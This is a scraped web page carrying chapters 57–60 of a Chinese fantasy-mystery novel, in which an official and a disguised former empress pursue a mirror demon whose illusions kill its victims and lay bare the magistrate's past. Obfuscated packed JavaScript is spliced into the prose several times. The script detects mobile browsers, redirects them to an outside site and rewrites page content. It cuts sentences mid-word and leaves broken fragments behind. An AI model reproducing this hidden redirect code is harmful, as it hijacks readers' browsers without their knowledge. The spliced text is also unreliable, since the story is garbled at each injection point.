陆轻苹本是双手抱胸,此刻眉头紧锁,右手食指和中指在左臂轻轻敲了两下,凝眉道:“我看出来的就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801719|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,那面墙上挂着的衣服就是乔聪的秘密,也是乔聪经常进出库房的原因,至于为什么,我想不出。” 陆轻苹真乃君子。周昭也不藏着掖着,直言道:“因为乔聪喜欢扮作女人。” “什、什么?!” 陆大人,看不出确实不能怪你,谁叫你是个男人呢? 周昭从发冠上拔了根玉簪下来,问道:“陆大人,你看我这根簪子,如何?” 陆轻苹道:“很常见。” “没错,这种簪子很常见,九洲城十个男人有七八个都用这种玉簪束发。假设你现在是个当铺老板,再看这根簪子,如何?” “......”陆轻苹想了想,“很普通,应该......不值钱?” “对,就是不值钱。”周昭重新将簪子插回头上,“同样一根簪子,看的角度不同,结论也不同。当铺老板看价值,眼光毒辣的一眼就能定价,无非是好货抵押钱多,劣等货抵押钱少。” “就拿刚才店里伙计来说,他喜欢的饰品都是能卖出好价钱的货物。普通人则看样式喜不喜欢,是玉的好还是金的好,是挂红珠还是串玛瑙。总之,饰品之类,尤以女子饰品最多,个人喜好决定了这样东西的价值。” “而刚才伙计说乔聪对这些却不看价格,只看眼缘。所谓眼缘,通俗来说就是一个人的喜好和偏爱。虽然那支金步摇丢了,伙计在柜面指出乔聪中意的那七八件儿,都带有强烈而鲜明的个人特色。” 周昭一口气说完,又道:“其实,光看那些饰品,并不能断言乔聪是喜欢用这些东西打扮自己。” “还有库房里那些衣服。”陆轻苹道。 周昭点点头,继续道:“不错,还有那些衣服。数十套女子衣裙,无论是身量尺寸,还是颜色款式,显然,都来自同一个人。我们刚进门时,铺子外面贴着一张告示,不知陆大人注意到没有?” “身高六尺半,不胖不瘦。”陆轻苹沉吟道:“……尺码刚好。” “没错,刚刚好。敢问世间有这么巧的事情吗?” 陆轻苹道:“所以乔聪每日进出库房,就是想扮作女人。乔夫人发现后,不能接受自己的丈夫有如此癖好,所以宁愿不要和离书也要离开乔家。而乔母知道不能改变儿子,渐渐接受现实,放弃了让其娶妻的想法。” 陆轻苹面容难得有几分抽搐,一字一顿道:“果真是……难以评价。” 周昭却见怪不怪,边走边说道:“乔聪生来是男儿身,但内心却向往成为女子。世人不接受他,于是,他只有在那间小小的库房才能短暂地做回自己,这并非他的过错,是世人的过错。” 陆轻苹露出一丝惊讶,半晌才道:“……你的想法很特别,也很……” “离经叛道,世俗难容?”周昭满不在意。 老实说,上辈子的周昭就算这么想也不会这么说,因为她生下来就是殿下,长大后是陛下。毫不夸张的说,一言一行举国瞩目,周昭没有随心所欲的权力,而如今她有种前所未有的轻松自在。 另一个朝代,另一种身份,甚至......另一张脸。 陆轻苹似乎在想该怎么点评周昭这八个字,周昭微笑道:“我胡说八道,你别在意。当务之急,找到乔聪再说。陆大人,你有没觉得那间库房少了样东西?” “什么东西?” “镜子,一面可以穿衣打扮的镜子。” 57. 八卦阵 陆轻苹恍然大悟:“对!就是镜子!” “我那时问过小桃了,唐灵儿的梳妆台上本该也有一面镜子。” 没错,周昭早在唐家就发现了。 唐灵儿作为唐家千金,梳妆台上什么都有,却单单少了一面镜子。乔聪的库房,或者说更衣室挂满了一面墙的衣裙,唯独也少了一面镜子。 这确实不能怪陆轻苹没想到,只因周昭这张皮下是个实打实的女子,这方便自然比陆轻苹观察细致。 陆轻苹忍不住道:“你怀疑跟镜子有关?” “太巧了,我不相信巧合。” 陆轻苹道:“这就简单了,我们只需要排查其余失踪的人是不是也丢了镜子,就能验证答案。” 周昭没说好,也没说不好。 因为在周昭看来,十有八九就是跟镜子有关。唐家是怀疑,乔家当铺是验证她的怀疑。以周昭的性格,这两起案子已经足够她下结论。 九洲城有一条护城河,每到夜晚两岸点起灯火,河水波光粼粼,宛如流淌的火焰。 周昭二人正沿河道行走,见前方围得水泄不通,以为是杂耍卖艺的,走近却听见几声议论: “这人是活的还是死了?” “……我看不像活人,但好像也不像死人……” “你们谁胆大,翻过来看看……” 这几句刚落入周昭耳中,陆轻苹便长腿一迈跨进人群里,周昭跟过去,河岸边赫然躺着一个人。 那人面朝护城河,一动不动。众目睽睽之下,陆轻苹撩了撩衣摆,蹲下拍了拍那人后背。 “……没反应,真死啦!” 陆轻苹小心将身体翻过来,是个三十多岁的男人,面容平和,嘴角挂着丝若有若无的微笑。 他再探鼻息,手指良久不动,有人大着胆子伸出手,在那人露出的手臂上摸了摸,像被惊雷劈中似的收回手,叫道:“死、死人啦!有死人!” 尖叫声连连,人群如鸟兽四散,仅剩下几个酒喝多了的,口齿不清问道:“公子,你们是衙门里的?” 陆轻苹没答话,神情凝重地收回手。 周昭转身将那些个酒腻子打发走,陆轻苹说道:“刚死不久,没有外伤,没有中毒痕迹。” 周昭心中隐隐有个答案,忽然一个人影风风火火地冲到他们面前,抓住陆轻苹便扯开嗓子喊:“陆、陆大人!我终于找到你了!” 萤木压根没看到身边还有个周昭,继续喊道:“陆大人快跟我回衙门吧,出大事了!衙门死人了!” 周昭眼皮猛地一跳,陆轻苹眉头微蹙,问道:“话说清楚,不要着急。” 萤木叉着腰,狠狠喘了几口气,呼吸急促狂乱,继续道:“不是不是!不是衙门死人,哎哟瞧我这张嘴!是有人死了放在衙门口呢!吓死我了!县丞大人到处找您,反正就是死人了!哎哟先不说了,您快跟我回去看看吧!我......” 萤木目光下移,终于后知后觉看到脚边的尸体,叫了声妈呀跳到陆轻苹身后,指着尸体道:“这、这这——” “萤木,你在这守着。”陆轻苹挪开两步,又语重心长道,“你是衙门的人,胆子要练。” 萤木不情不愿点头,陆轻苹跟周昭对视一眼,即刻马不停蹄往衙门赶。到了衙门口,一路穿过聚集的人群,看到原本停尸的地方已经被围起来,仵作正指挥着要把尸体往衙门里搬。 进了衙门,三具尸体一字排开,停放整齐。一眼看去,每具尸体都穿戴齐整,没有可见外伤,跟护城河那具死状相同。 更为诡异的是,这些死人双目紧闭,嘴角无一例外都挂着平和而满足的微笑。 陆轻苹朝仵作点头,示意他继续,转而对周昭压低声音道:“看见了吗?” 周昭轻轻点头,眉心微蹙:“看见了。” 靠左这具尸体不胖不瘦,不高不矮。因为画着妆,涂了口脂,再加上嘴角那抹浅浅的微笑,让那张脸看起来愈发生动诡异,好像下一刻就要从木板上跳起来似的。 尸体发间簪着的金步摇随风而动,金叶碰撞,发出叮叮当当的清脆悦耳之声。 这具浓妆艳抹,身穿大红襦裙的“女尸”,正是乔家当铺的老板——乔聪。 仵作几乎没怎么费劲验尸便给出结论:没伤口,没中毒,没腐烂。死态安详,死亡时间不超过半日,不像自杀,也不像他杀。 衙门里所有人面面相觑,有人道:“得!八成又是什么妖啊鬼啊干的。” “咱们办不了,移交刑部吧。” “刑部也不见得会抓妖啊......” 你一言我一语,一看凶手不是人都不乐意办。原因很简单,抓妖抓鬼确实不是衙门干的活儿。正所谓术业有专攻,人之常情。 陆轻苹随意指了几个人出去探探线索,又留下两人去接萤木,其中一人边走边对同伴抱怨道:“兄弟,咱哥俩儿今儿光搬尸体了,这儿冒一具那儿冒一具,没完没了了。” 陆轻苹像是有话要问,却一阵闷咳,周昭拦住二人:“等等,是说衙门里这三具尸体不是同时发现的?” 周昭易容的少年平平无奇,傍晚天色模糊不清,因此跟着陆轻苹一同进来也没人注意到,这时突然开口说话,还是询问案子,不免引来注意。 陆轻苹终于咳完,声音低哑:“回答他的话。” “哦哦,好。”衙役反应过来,答道,“大人,门口发现的只有那具女尸,剩下都是有人来报官,咱们的人去给抬回来的。” 陆轻苹问道:“什么时候?” “今儿下午,所以才让萤木去寻您。” 周昭又问:“在哪儿发现的?” “那具女尸是在城南老王家铁匠铺子那条巷子里,还有一具是离那儿再往北三条街,另一具……” “另一具不就是在大人让咱俩去接萤木那儿,再往南边儿不远吗?香橼酒楼那附近。” “对,是那儿。”衙役打了个呵欠,又躬身问道,“大人,没别的事儿,我俩先去接萤木了。” “去吧。”陆轻苹摆手示意,周昭自言自语道:“铁匠铺子,香橼酒楼,护城河……” 陆轻苹咳嗽得厉害,周昭不动声色地站在他面前挡住风,说道:“大人,外头冷,咱们进屋说话。” 衙役们都撒出去了,仵作一筹莫展没什么好查的,这偌大的衙门只有他们跟几具嘴角带笑的尸体。 陆轻苹应了声好,拢了拢略显单薄的外衣,抬脚往屋里走,坐定喝了口热茶润嗓子,再开口果然好些,问道:“你刚才念叨那几个抛尸点,可有什么发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆轻苹不卑不亢道:“见过国师大人,一切都好。下官身为县令,有案子自然要查。” “陆大人请便。” 二人本就不熟,话到此处亦没有再说的必要。沈云起微微点头,目光在周昭脸上一晃而过,也不避讳他二人,转身对方才说话的侍卫道:“朝安,今日此处可有什么异常?” 朝安躬身答道:“并未见什么异常,吴记老板杜云戚白日正常开门做生意,到了晚上便说自己困了,回屋睡觉去了。” “什么时辰?” 沈云起回头,见说话的是陆轻苹身边那个随从,正纳闷,周昭又追问道:“杜云戚什么时候进去的?进去多久了?” 周昭言语急促气势迫人,被这么一问,朝安稀里糊涂松了口,回答道:“有……小半个时辰了吧……” 周昭推开人群就要往里走,陆轻苹抬脚跟上,侍卫即刻亮刀拦下。陆轻苹冲沈云起欠身拜道:“国师大人,容下官稍后解释,还望你的人让开一条道,此刻杜云戚怕是......” 砰! 众人寻声望去,杜云戚头朝下脚朝上,众目睽睽之下自二楼一跃而下。 58. 幻境 周昭最先冲上楼,环顾一圈,除了他们进来的这扇门,以及杜云戚跳下去的那扇窗户大开着,这间阁楼再也没有其他门窗。 阁楼静悄悄的,没有一丝人声。 此刻秋风又起,老旧的窗户发出吱吱呀呀的铁锈声,朝安推门进来,回禀沈云起那杜云戚的确是自杀,又自言自语道:“......奇怪,这儿怎么多了面镜子......” 镜子? 周昭转身看去,塌边赫然放着张一人高的镜子。那面镜子光洁如新,周昭却总觉得哪里透着古怪。沈云起凑近看看,问道:“多了面镜子?之前没有吗?这镜子怎么......” 沈云起朝身后望望,又转向镜子,周昭终于知道哪里古怪了。 这面镜子能照物,意思是只能照物,镜中空空荡荡仅有一面光秃秃的墙壁,压根没有他们四个的人影! “小心!” “别碰!” 陆轻苹跟周昭同时伸出手,但已经迟了。 一阵狂风卷入,窗户咔咔作响,烛火顿时熄灭。 还好,不算迟,我抓住沈云起了。 周昭呼出一口气,又将掌心那只手握得更紧些,压低声音道:“国师大人,你没事儿吧?” 沈云起却不说话。 难道是被吓到了? 四下漆黑一片,不能视物。周昭又朝沈云起靠近两步,呼吸声近在耳边,周昭又问:“......国师大人?” 沈云起仍然不说话,仔细听,呼吸却莫名急了些,乱了些。 周昭握着沈云起的手,静默片刻,微笑道:“国师大人,再不说话我可要松开你了。” 她默默松开手,瞬息间身形一转绕至沈云起面前,匕首寒光乍现,抓住沈云起逼问道:“说,你到底是谁!” 少顷,黑暗中传来一声低低的笑,天光骤然大亮,那人苍白的脖颈离匕首的锋芒不足一寸。 怎么会是渡舟?! 那面镜子呢? 沈云起呢? 其他人呢? 周昭很佩服自己,当下这种尴尬的局面还有心思想别的问题,她愣在原地,心底有个声音告诉她:别怕,渡舟认不出你现在的样子。周昭,你不是最会审犯人了吗?快质问他为什么会出现在这里。 快质问他! 但同时也有另一个遥远的声音,不合时宜地冒出来:“十六,你为何总是悄莫声地出现,万一伤着怎么好。” 匕首横在颈侧,渡舟却毫不在乎,一动不动任由周昭抓着,眸中一点儿淡淡的笑意若有若无。 呼吸声近在咫尺,周昭一颗心跳得厉害,强迫自己冷静下来,终于开口道:“你是何人?国师大人呢?” 时间仿佛凝滞了,良久,才听到渡舟低声道:“路过,进来看看。” “......大人,可以松开我了吗?” 周昭像被烫着似的松开手,干巴巴地质问道:“路过?” 渡舟撒起慌来丝毫不脸红,回答道:“嗯,我见吴记宝斋这里死人了,看看热闹。” 周昭不确定渡舟到底认出她没有,应该是没认出来。因为渡舟是个有仇必报的人,也是个不容背叛的人。前半句周昭上辈子就知道,后半句是她看见上官手上的莲花烙知道的。 有这两点,周昭实在想不到渡舟如果知道是她,还能如此心平气和讲话的理由。 可要说没认出来……那无相妖主的名头岂不是白当了。周昭暂且压下心中一团乱麻,不再管渡舟,暗示自己渡舟如果要查案,出现在这里也无可厚非。 她在阁楼里转了一圈,明明来时还是晚上,此刻却形同白昼。除了消失的镜子和陆轻苹等,周昭没看出什么特别的。 但就是这样才奇怪。 周昭走向窗户,听见渡舟慢条斯理道:“这里有门,大人要爬窗吗?” 周昭刚想阻止,渡舟便啪一声推开,不,是踹开门。 ……门是这么开的吗? 那扇木门本就不结实,被这么一脚踹得晃晃悠悠,几欲跌倒,然后终于支撑不住碎成两半。门外天光更甚,明明是间阁楼,楼下那一层却不见了,只剩这么一间孤零零的卧房。 渡舟咔吱吱踩过木板,回过头对周昭道:“大人,天气很好。” 周昭满怀诧异走出去,才发现靠近门口是一团黏黏糊糊的血迹,因着木板做桥,才没有弄脏她的鞋履。 她不由问道:“这血……” 渡舟将木板另一端踏住,说道:“吓唬人的把戏。” “你知道这是什么人干的?” 渡舟语气散漫道:“不知道,兴许是掉进什么妖啊,什么鬼什么怪的幻境了吧。” 不知道陆轻苹他们是否安好……周昭回头望望,来时那扇门却打不开了,看来陆大人和国师也掉进这镜妖幻境。 如果最后一个死人是乾位的杜云戚,镜妖的八卦阵应该已经完成了,而他们很不幸地成为这阵中第一批待宰羔羊。 周昭最大的优点就是心态好,经历的烂事儿太多,一身临危不乱的骨头。她平静说道:“不管什么妖,什么鬼什么怪,抓出来杀了不就好了。” 周昭继续向前走,渡舟所说的天气好,其实是漫天雨丝,打在身上不痛不痒,撑伞多余,不撑伞又心烦。 门外是一片泥泞的空地,并没有什么显眼建筑,在更远处似乎零零散散坐落着几家农户,袅袅炊烟沿着青山雨露往上飘,一派静谧安宁之色。 渡舟不知道从哪儿变出来一把伞,撑在周昭头顶,问道:“大人,现在我们去哪儿?” 周昭指了指山前的村落,说道:“去有人的地方。” “都听大人的。” 渡舟撑着伞,二人并肩行走,步调既不快也不慢,竟然出奇地和谐。 周昭本不喜欢跟旁人靠这么近,但更不想淋雨,眼神落在伞柄,见其颜色青白似骨,再往上看伞骨亦是如此,心道:“这伞八成是渡舟那只法器变的,可怜昆仲堂堂无相妖主之法器,怎么总是干些鸡零狗碎之事?还是说昆仲本就不是什么厉害的法器,只是渡舟做出来玩儿的……” 其他妖怪的法器,一定不会是专门做来玩的,但渡舟的就不好说了。 “大人,听说九洲城最近很多人失踪了……”渡舟开口打破沉默,继而微笑道,“你说,他们是像这样失踪的吗?” 周昭知他试探,沉吟不语。 渡舟又道:“大人,我们会死吗?” 周昭明知自己应该继续装下去,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812108|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住出言讥讽道:“你怕死吗?” 一个活了几千年的妖怪,难道会怕死吗? 渡舟像是很认真地在思考,继而道:“从前不怕,现在怕了。” 周昭只当对方信口胡说,二人走过田野,脚下泥土松软,眼前麦田碧绿随风而动。 但如果稍微留心,就会注意到这片地方太干净了。 干净得没有一丝气味。 既没有雨落在泥土中散发出的土腥味儿,也没有清冽的芳草气息。 周昭猜想是镜妖做出来的幻境有限,做不出类似气味这种极难把控的东西,不过除此之外,一草一木皆十分逼真,让人分辨不出是幻境还是现实。 走到村口,雨停了。 周昭远远地看见屋舍前站着三个人,挨得近些的一对男女背影是一红一白,另一名男子则是常见的侍卫灰袍。 周昭从伞下快步走出去,唤道:“是陆大人吗?” 三人回过头,果然是陆轻苹他们。 沈云起本就生得明媚,穿着红服官袍更显眸光清亮,顾盼间自有三分英气。陆轻苹往她身边一站,虽然相衬之下,那身县令官服实在寒酸了些,但他面容清俊,一身书卷斯文气,竟也相得映彰。 陆轻苹先是看周昭,见她平安无事,随即紧绷的表情放松些,再看到后面跟着的渡舟,认出是当日在乱葬岗那位抱着白猫的少年,不免起了疑心,问道:“那人怎么回事儿?” 周昭原原本本回答道:“路过。” 此刻渡舟也跟上来,陆轻苹正要继续发问,沈云起却道:“陆大人,快看有人出来了。” 她这么一说,陆轻苹便顾不上再管渡舟了。周昭心如明镜,知道沈云起刻意遮掩,也不再言语。 只见眼前茅屋破败,被雨打湿更显颓势。 要周昭来说,若是渡舟方才踢门那一脚用在这茅屋上,估计也好不到哪儿去。 一个大腹便便满脸横肉的男子从茅屋里走出来,一股浓烈刺鼻的酒味扑面而来。 男子像是宿醉刚醒,走路东倒西歪,一边走一边将屋檐下一只瓦罐一脚踢飞,险些被自己绊倒,瓦罐圆圆滚滚,一路滚到陆轻苹脚边。 陆轻苹面色阴沉,喃喃道:“……是他?” 沈云起好奇问道:“谁啊?陆大人认识?” 陆轻苹却没有回答国师的问题,男子继续骂骂咧咧,嘴里囫囵不清道:“他妈的败家娘儿们!老子花钱买你来,是让你给老子生儿子的!三年了,被、被老子......嗝!被老子操那么多回,就算是只公鸡,也他妈该下蛋了!” 男子言语粗鄙不堪,沈云起满面怒容,陆轻苹则脸色铁青,抬脚动了动,渡舟慢悠悠提醒道:“这是幻境,他们看不见你。” 男子还想再摔打点什么东西,奈何这茅屋除了那只孤零零的瓦罐再无其他,一时怒气更胜,骂了句脏话,冲进屋蛮横地将正在做饭的女人拖出来掼在地上,道:“老子的钱都他妈用在你这贱人身上了!” 女人面容清秀,跪在男人脚边瑟瑟发抖,男人发完疯消了气,叉开腿往屋檐底下一坐,高声道:“小杂种呢?叫出来给他爹我捶捶腿!” 女人畏畏缩缩道:“......萍萍上山砍柴去了......” 59. 过往 “放屁!” 男人腾得站起来,指着女人鼻子骂道:“别以为老子不知道!他八成是又跑去学堂听墙根了!你拿着老子的钱,还想供小杂种读书?等他回来看老子不打断他的腿!贱种就是贱种,鸡窝里还能出凤凰?他以为自己是谁?还不是靠老子养活!” 朝安忍不住道:“这八成是个买休卖休。” 所谓买休卖休,是说丈夫将妻儿子女卖给他人。 沈云起皱眉道:“买休卖休在大宣早就严令禁止,买卖者同罪,怎么还......” 周昭心想这位沈云起大人还是年轻了些,四方之地只要有人的地方就会有犯罪,皆因人性本恶。周昭在十几岁的时候也跟沈云起一样,满腔抱负,现在想来真是......不知深浅。 画面一转,还是眼前的破茅屋。 北风呼啸,大门紧闭,唯有一扇窗户可以窥见屋内情形。 只见刚才的女人似乎老了些,她盘腿坐在土炕上,怀里抱着个半大点儿的孩子。土炕旁边支着张矮矮的木桌,一个十一二岁的少年正伏在灯下读书,少年模样斯文白净,嘴唇轻抿,眉宇间刻着不符合他这个年纪的深沉。 怀里的孩子哭闹不止,看起来应该五六岁了,却像还不会说话。女人一边温柔地哄着那孩子,一边道:“萍萍,你的字写得真好看,跟你爹就像......” “别提他。”少年头也不抬,冷声道,“若不是他为了几个臭钱卖了我们......反正,他不是我爹。” 女人叹息道:“你爹也是没办法,他读书、赶考,哪一样儿不花钱的,你爹走时说了,等高中就来接我们......”说完,女人的眼睛里流露出一种期翼和惆怅,因为无论是少年还是她,都知道那个人不会再来接他们了。 沉默片刻,女人将终于睡着的婴孩放下,揉了揉酸痛的胳膊,抚着少年的头顶道:“萍萍,多亏你卖字贴补家用,不然......” 她眼里的光黯淡下去,少年语气放软些,抬眸道:“娘,这都是我该做的。” 女人笑了笑,又问:“对了,我听阿然说你不光卖字,还写文章卖给学堂里的少爷们,是真的吗?” “......”少年垂下眸子,女人心中了然,面露痛苦之色,继续道:“唉,都怪娘没本事......” “娘你在说什么啊......快去睡吧,别耽误我看书了。”少年将女人推开,周昭却看得清楚,少年眼中一滴泪在女人转身之时,终于忍不住落下来。 油灯熄灭,陆轻苹不愿再看,转身离开,沈云起叫道:“陆大人!” 周昭拉住沈云起,摇摇头。 她现在终于知道为什么幻境如此逼真,因为这本来就是真实发生的——画中少年正是陆轻苹。起初女人口中的“萍萍”还不能让周昭确定,但那伏案读书的少年,分明跟陆轻苹的眉眼如出一辙。 至于为什么他们来时经过麦田闻不到一丝气味,后来又闻到酒气冲天,这是因为在陆轻苹的记忆里,没有麦香,没有花香,只有继父身上日复一日的酒臭。 陆轻苹一言不发走在最前面,起初走得很快,没多久慢下来,后来又不走了。他停下脚步,回过头,下巴微微抬起,道:“你们是不是觉得我很可怜?” 众人不知道该说什么,陆轻苹又自嘲地笑了笑:“是啊,我也觉得自己很可怜。可那又怎么样,我还不是从这里走出来了?鸡窝不能出凤凰,但能出探花。昭明二年,我是天子钦点的探花。” 朝安忍不住道:“昭明二年?那年不是......” “那年发生了轰动朝野的‘十二榜案’,中榜之人被查出有整整十二人徇私舞弊。又经彻查,范围从九洲城一直扩散到地方乡县。其中最著名的就是探花一案,那年探花名叫温子恒。” “先是有人举报温子恒文章作假,非本人所作。其父温砚清是当时考官主簿之一,本已下狱,后来又翻案,说是同考的举子嫉妒温子恒高中探花,所以诬陷,实则是他抄袭温子恒文章。风口突转,温氏父子全身而退,那名举子被投入诏狱,证据接连翻出,但那举子历经三个月刑罚却不曾改口,后来这件事便不了了之......” 沈云起停顿片刻,问道:“陆大人,你说你是昭明二年的探花,难道......” 陆轻苹道:“不错,我就是举报温子恒的人。” 朝安面露诧异之色,问道:“陆大人,说不通啊。若你真是那名举子,听说他受不住大刑死在狱里,你又是如何当上巡抚的?” 一直不曾说话的渡舟淡淡道:“这么简单的道理,因为有人要他死,有人又要保他。” 周昭点头附和道:“所以探花案虽大,关键人物的姓名却被隐去不提。陆大人,是陛下将你从狱中提出来的?” 陆轻苹不语,算是默认。 周昭竟不知陆轻苹身上还有这番离奇曲折的故事,一时心情激荡。 陆轻苹将这些陈年往事道出,无疑是在往自己旧伤撒盐,但他说完反而自在轻松,翻过不谈,道:“镜妖大费周章布下什么八卦阵,应该不是就为了给我们看这些吧,当务之急,各位还是想想办法,看怎么出去才是。” “八卦阵......”渡舟重复一遍,周昭问道:“八卦阵怎么了?” 渡舟又详细问过他们发现尸体的经过,周昭心中觉得好笑:“我会演戏,渡舟比我演得还真。这些细节他分明一清二楚,却又拿出来问。” 渡舟听完,若有所思道:“是阴阳八卦阵。” 陆轻苹道:“何解?” “以死人布阵,男女各半。八卦阵中,男为阳,女为阴。听八风之气乃画八卦,乾为天,坤为地。镜妖以九州为画布,每踏入一卦便以其中一人做出幻境。八卦阵有生死吉凶,我们脚下的是西南方向的惊门,乃凶门之一。” 渡舟慢条斯理道:“阴阳八卦阵虽凶险,但也有一个不足,凶门只对幻境主人有效,也就是陆大人你。” 朝安听得目瞪口呆,情不自禁道:“你小小年纪,怎么懂得这么多?” 渡舟随口答道:“因为我游手好闲,不学无术。” 沈云起接话道:“陆大人会怎么样?” 渡舟手里的伞不知何时又变成骨箫,一边把玩一边道:“这个要看陆大人心里有多大的恨意,恨意越重,欲望越重,凶门越凶,被困死在这里也说不定......你们看,又来了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆轻苹突然仰天大笑,目光坚韧,就像他当年清白一身,诏狱酷刑历时三月不曾改口,他笑道:“镜妖,你还有什么本事?难道我会怕这些吗?我陆轻苹,生来就是轻絮浮萍,难道会怕这泥淖吗!” 似乎是在回应他,画面开始扭曲,就像一面镜子突然在他们眼前四分五裂。 陆轻苹的脸,他母亲的脸,低矮的茅草屋,随着这面镜子而粉碎,取而代之的是一处干净宽敞的宅院。 天气晴朗,风也柔和。 小池边坐着个身穿玉色锦袍的女人,她放下手里的针线,抬头望过来,正是陆轻苹的母亲。 但她眉眼柔和,皮肤白皙保养得当,俨然是位没有经历过生活风霜的贵妇人。 她莞尔笑道:“萍萍,站在那儿做什么?日头大,快来为娘这里。” 陆轻苹的笑顿时僵在脸上,那妇人站起身,款款而来,柔声说道:“萍萍,怎么不跟娘说话?” 沈云起惊讶问道:“不是说看不见我们吗?怎么会......” 渡舟淡淡道:“同一个时空不会出现两个陆轻苹,而眼前是陆大人的想象,自然只有他一个陆轻苹。” 回廊上走来一个身高腿长,留着一撮胡须的中年男子。他背上背着一把剑,目光坚毅,走来虎虎生风,细看和陆轻苹有七八分像。 男子把剑交给下人收着,看见陆轻苹,假意呵斥道:“臭小子,又惹你娘生气。过来,让为父看看你字练得如何。” 待看清男子面容,沈云起难以置信道:“这不是温砚清吗?!” 60. 镜中镜 朝安亦惊讶道:“是温大人,他不是早就因为贪污之罪被处死了,总不会……陆大人的生父就是温砚清吧?!” 朝安看向陆轻苹,对方却毫无反应。 此刻妇人已莲步款款行至面前,浑然不觉他们的存在,只牵了陆轻苹的手,引着他往亭子里去,抬眸嗔道:“陆郎,萍萍的字已经练得很好了,你别凶他。” “陆大人?陆大人!”沈云起迭声叫道。 陆轻苹宛如一具行尸走肉,任由那妇人牵着继续走。周昭暗道一声不好伸手去抓,谁料扑了个空,手从陆轻苹的胳膊里一穿而过,什么也没抓住。 朝安叫道:“这是怎么回事儿?” 三人一齐望向渡舟,对方解释道:“刚才说了,凶门只针对陆大人。镜妖幻境之所以厉害,在于如果要走出幻境,全凭自己心志坚定。幻境虽然如水中月镜中花,但胜在实在美妙,现实生活中不能得到的、没有拥有的,镜妖都能给你。饮鸠止渴,也能止渴。这里的一草一木都是陆轻苹心中所想,如果他甘愿沉沦其中,谁也救不了他。” 周昭眉头紧锁,问道:“最后会怎样?” 渡舟道:“现实中会死,幻境中会永生。” 难怪那些人的尸体都是嘴角含笑一脸平静,因为现实生活中不能达成之愿望,在幻境中得到满足。欲望越大,幻境越难脱身。 “难道我们眼睁睁看着陆大人送死吗?”朝安虽然跟陆轻苹不熟,但也听说过此人为官清廉,宁折不弯,不忍见他送命。 渡舟手中昆仲转得时快时慢,语气平静道:“要救他,并不难。” 众人异口同声道:“要怎么救?” “镜妖之幻境,在于一面镜子。”渡舟转向沈云起,“刚才他是为了阻止你触碰那面镜子吧?” 沈云起满面赤红,渡舟继续道:“我的意思是,只要找到那面镜子,然后打碎它,这幻境自然也就破了。” 沈云起松了口气,急切道:“可是我们刚从阁楼出来时,并没有看见那面镜子。” 渡舟停下转骨箫,说道:“所谓镜,乃影之容器。在镜妖的幻境里,并不是说只有我们寻常用的铜镜才叫镜子。” 周昭恍然大悟道:“我明白了,你是说镜妖会将原本那面镜子伪装,凡是能倒影之物,都有可能是镜妖的镜子所幻化。” 渡舟朝向周昭,微笑道:“大人很聪明。” 沈云起焦急地原地打转,又自言自语道:“那些失踪的人过了快十天才有尸体出现,还好还好,我们时间还够。” 渡舟挑眉道:“诸位,我看那陆大人身体不大好,又身处阴阳八卦阵的凶门,至多,一个时辰。” “啊?”沈云起自觉对不起陆轻苹,因着渡舟一句话脸色煞白,匆匆道,“那还等什么,我们分头去找。” 周昭本来想说在幻境之中还是不要分开好,但沈云起说完就走,根本不给她说话的余地,朝安自然尾随国师而去,这片空地眨眼间就剩她跟渡舟两个。 渡舟似乎对什么都不放在心上,好整以暇地看着她,没说要不要走,也没说往哪走。 周昭略叹了口气,指着跟沈云起他们相反的方向,道:“我们去那边找找看。” “都听大人的。” 渡舟安安静静跟在周昭身边,周昭几次都想开口问渡舟是不是知道要找的镜子在哪。但渡舟如果刚才没说,就说明他要么真的不知道,要么不想说,显然后者的情况更大一点,也没有再问的必要。 走出不远,渡舟问道:“大人,你似乎……很关心那位陆大人。” 算不上关心,只是觉得陆轻苹不该死。 周昭不想回答这么无聊的问题,随口答道:“陆大人是好人。” 渡舟哦了一声,又问:“大人喜欢好人?” 这是什么莫名其妙的问题? 周昭心头烦躁,又答:“反正讨厌恶人就是了。” 所以我讨厌自己。 周昭加快步伐,离一个时辰已经过去一小半,但无论是草丛还是废弃的旧屋他们都找过,压根没有类似镜子的东西。 周昭深呼一口气,问道:“镜妖不是傻子,看见我们在找镜子,难道不知道换个地方吗?” 渡舟微笑道:“镜妖也想啊,但它法力不够,八卦阵定形之时,每卦的阵眼就已经固定下来了。所以镜子必定是藏在哪个地方,只是我们还没有找到。” “好吧。”周昭目光搜索不停,漫不经心道,“你年纪不大,这些是谁教你的?” 渡舟对答如流:“好奇,自己学来的。” “我也想学,敢问多少年才能学成你这般厉害?”周昭停下脚步,目光平视。 渡舟笑意未散,回答:“大人冰雪聪明,如果想学一定比我用的时间短。” 渡舟在回避她的问题,周昭微微一笑:“......但愿如此。” 